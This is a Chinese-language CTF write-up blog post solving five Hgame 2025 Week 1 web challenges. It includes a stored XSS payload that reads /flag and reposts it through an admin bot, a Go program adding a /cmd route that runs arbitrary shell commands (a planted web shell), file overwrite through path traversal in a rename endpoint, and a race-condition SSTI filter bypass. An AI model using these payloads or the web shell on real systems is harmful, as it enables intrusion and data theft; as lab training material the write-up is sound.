Hgame——Week1web

2025Hgame

Level 24 Pacman

简单的js题,看源代码里的index.js

base64加栅栏2,发现结果不对,那就搜gift

最终找到

hgame{u_4re_pacman_m4ster}

Level 47 BandBomb

开始以为是去年国赛的题目,卡了好久。。。。

源码:

const express = require('express');
const multer = require('multer');
const fs = require('fs');
const path = require('path');

const app = express();

app.set('view engine', 'ejs');

app.use('/static', express.static(path.join(__dirname, 'public')));
app.use(express.json());

const storage = multer.diskStorage({
  destination: (req, file, cb) => {
    const uploadDir = 'uploads';
    if (!fs.existsSync(uploadDir)) {
      fs.mkdirSync(uploadDir);
    }
    cb(null, uploadDir);
  },
  filename: (req, file, cb) => {
    cb(null, file.originalname);
  }
});

const upload = multer({ 
  storage: storage,
  fileFilter: (_, file, cb) => {
    try {
      if (!file.originalname) {
        return cb(new Error('无效的文件名'), false);
      }
      cb(null, true);
    } catch (err) {
      cb(new Error('文件处理错误'), false);
    }
  }
});

app.get('/', (req, res) => {
  const uploadsDir = path.join(__dirname, 'uploads');
  
  if (!fs.existsSync(uploadsDir)) {
    fs.mkdirSync(uploadsDir);
  }

  fs.readdir(uploadsDir, (err, files) => {
    if (err) {
      return res.status(500).render('mortis', { files: [] });
    }
    res.render('mortis', { files: files });
  });
});

app.post('/upload', (req, res) => {
  upload.single('file')(req, res, (err) => {
    if (err) {
      return res.status(400).json({ error: err.message });
    }
    if (!req.file) {
      return res.status(400).json({ error: '没有选择文件' });
    }
    res.json({ 
      message: '文件上传成功',
      filename: req.file.filename 
    });
  });
});

app.post('/rename', (req, res) => {
  const { oldName, newName } = req.body;
  const oldPath = path.join(__dirname, 'uploads', oldName);
  const newPath = path.join(__dirname, 'uploads', newName);

  if (!oldName || !newName) {
    return res.status(400).json({ error: ' ' });
  }

  fs.rename(oldPath, newPath, (err) => {
    if (err) {
      return res.status(500).json({ error: ' ' + err.message });
    }
    res.json({ message: ' ' });
  });
});

app.listen(port, () => {
  console.log(`服务器运行在 http://localhost:${port}`);
});

审计可以知道他是设置了ejs为视图引擎,而主页则是用res.render来渲染mortis模版,从而输出uploads文件夹下的文件名字。我们上传的文件都会被放到uploads目录下面,在/rename下我们可以对文件名进行重命名。在文件名里有/../是可以实现目录穿越的,那我们便可以上传一个文件到uploads下,再通过重命名实现目录穿越,最后覆盖掉原有的mortis.ejs,并在新的文件里写入危险代码。

上传:

重命名:

在重名这里可以通过报错来看穿越的路径对不对

疑点

这里为什么不能直接覆盖app.js,明明重命名成功了就应该但是却不能覆盖(请大佬指点)

Level 69 MysteryMessageBoard

先登录shallot,密码弱口令:888888,进去就是一个留言板一眼xss,但是之后就不知道要干嘛了(当时没放源码),凭检验访问/flag,发现

那也就是说我们需要admin账号,然后就想到拿cookie,但是拿不到,就又去爆破admin账号了,还是没用,最后没事扫了一下目录,发现存在admin路由,访问发现

那么这道题目的思路就是我在shallot账号进行xss去读取flag并回显,然后访问/admin,那么admin就会触发这段xss去读取flag并输出回显。这就是网鼎杯飞行员的那题完全一样了(开始没放源码浪费了好多时间,结果后面又放出来了)

payload:

<script>
fetch('/flag') 
  .then(response => response.text())
  .then(data => {
    const base64Data = btoa(data); 
    fetch('/', {  
      method: 'POST',
      headers: {
        'Content-Type': 'application/x-www-form-urlencoded',
      },
      body: 'comment=' + encodeURIComponent(base64Data) 
    });
  })
  .catch(error => console.error('Error fetching flag:', error));  
</script>

去admin那里刷新一下,再回来看(没有的话,多试几次)

解码就是flag

Level 25 双面人派对

访问web服务,得到一个可执行文件main,upx脱壳,放入ida分析,根据题目描述找到了部分关键信息,

然后访问上面的unknown,仔细看是可以发现进行了跳转,那就通过抓包来抓取跳转前的URL,随便试一下,发现了题目的服务是minio

没见过,去了解了一下,minio是一个云储存服务,其次他可能会存在一个跨域请求的漏洞,也就是我们可能可以修改源文件,再结合上面在main中得到的信息正好是我们连接minio的key,那们直接通过mc工具连接看看

https://www.cnblogs.com/lvzhenjiang/p/14944821.html

https://blog.csdn.net/qq_41322460/article/details/139508287?fromshare=blogdetail&sharetype=blogdetail&sharerId=139508287&sharerefer=PC&sharesource=git_clone&sharefrom=from_link

hints里面是源码,桶里面应该就是源码运行出来的执行文件,那么我们只需要修改main.go,再重新上传覆盖掉原来的,我们加入执行shell路由

package main

import (
        "level25/fetch"
        "level25/conf"//与go mod统一
        "fmt"       
        "os/exec"
        "github.com/gin-gonic/gin"
        "github.com/jpillora/overseer"
)

func main() {
        fetcher := &fetch.MinioFetcher{
                Bucket:    conf.MinioBucket,
                Key:       conf.MinioKey,
                Endpoint:  conf.MinioEndpoint,
                AccessKey: conf.MinioAccessKey,
                SecretKey: conf.MinioSecretKey,
        }
        overseer.Run(overseer.Config{
                Program: program,
                Fetcher: fetcher,
        })

}

func program(state overseer.State) {
        g := gin.Default()
        // 添加一个新路由/cmd
        g.GET("/cmd", func(c *gin.Context) {
                cmdParam := c.DefaultQuery("cmd", "") // 获取查询参数"cmd"
                if cmdParam == "" {
                        c.JSON(400, gin.H{"error": "cmd parameter is required"})
                        return
                }
                //执行命令并获取输出
                cmd := exec.Command("sh", "-c", cmdParam) //使用sh执行命令
                output, err := cmd.CombinedOutput()
                //获取标准输出和标准错误
                if err != nil {
                        c.JSON(500, gin.H{"error": fmt.Sprintf("Command execution failed: %v", err)})
                        return
                }
                //返回命令的输出
                c.JSON(200, gin.H{"cmd": cmdParam, "output": string(output)})
        })
        //静态文件路由
        g.StaticFS("/file", gin.Dir(".", true))
        g.Run(":8080")
}

执行后上传


访问web服务

替换成功,执行命令就好

Level 38475 角落

扫描目录发现robots.txt,访问的得到/app.conf,查看

# Include by httpd.conf
<Directory "/usr/local/apache2/app">
	Options Indexes
	AllowOverride None
	Require all granted
</Directory>
//针对`/usr/local/apache2/app`目录控制,对任何用户开放,不允许覆盖.htaccess文件,且所有问卷都放在app下

<Files "/usr/local/apache2/app/app.py">
    Order Allow,Deny
    Deny from all
</Files>
//禁止访问app.py

RewriteEngine On
RewriteCond "%{HTTP_USER_AGENT}" "^L1nk/"
RewriteRule "^/admin/(.*)$" "/$1.html?secret=todo"
//如果 User-Agent 以 L1nk/ 开头,那么'/admin/'后面的内容都会被重定向为name.html?secret=todo

ProxyPass "/app/" "http://127.0.0.1:5000/"

参考:https://blog.orange.tw/posts/2024-08-confusion-attacks-ch/#⚔️-CVE-2024-39573---基於-RewriteRule-前綴可完全控制的-SSRF

记得设置User-Agent,得到源码

from flask import Flask, request, render_template, render_template_string, redirect
import os
import templates

app = Flask(__name__)
pwd = os.path.dirname(__file__)
show_msg = templates.show_msg


def readmsg():
	filename = pwd + "/tmp/message.txt"
	if os.path.exists(filename):
		f = open(filename, 'r')
		message = f.read()
		f.close()
		return message
	else:
		return 'No message now.'


@app.route('/index', methods=['GET'])
def index():
	status = request.args.get('status')
	if status is None:
		status = ''
	return render_template("index.html", status=status)


@app.route('/send', methods=['POST'])
def write_message():
	filename = pwd + "/tmp/message.txt"
	message = request.form['message']

	f = open(filename, 'w')
	f.write(message) 
	f.close()

	return redirect('index?status=Send successfully!!')
	
@app.route('/read', methods=['GET'])
def read_message():
	if "{" not in readmsg():
		show = show_msg.replace("{{message}}", readmsg())
		return render_template_string(show)
	return 'waf!!'
	

if __name__ == '__main__':
	app.run(host = '0.0.0.0', port = 5000)

一眼ssti,在/read路由下会看到我们执行命令的结果,这里过滤了“{”,但是可以通过条件竞争来实现绕过(简单来说,就是多线程同时操作一个对象,而没有对对象进行加锁等保证一致性的操作),我们通过多线程上传并同时访问/read目录就可以造成来不及判断内容是否含有{,而导致内容传入if,最终被执行,利用条件也是有限的,与服务器处理能力和网络速度等等都是有关的。

其他的过滤都没有了,就是简单的ssti了。。。。。

posted @ 2025-02-14 13:07  TouHp  阅读(93)  评论(0)    收藏  举报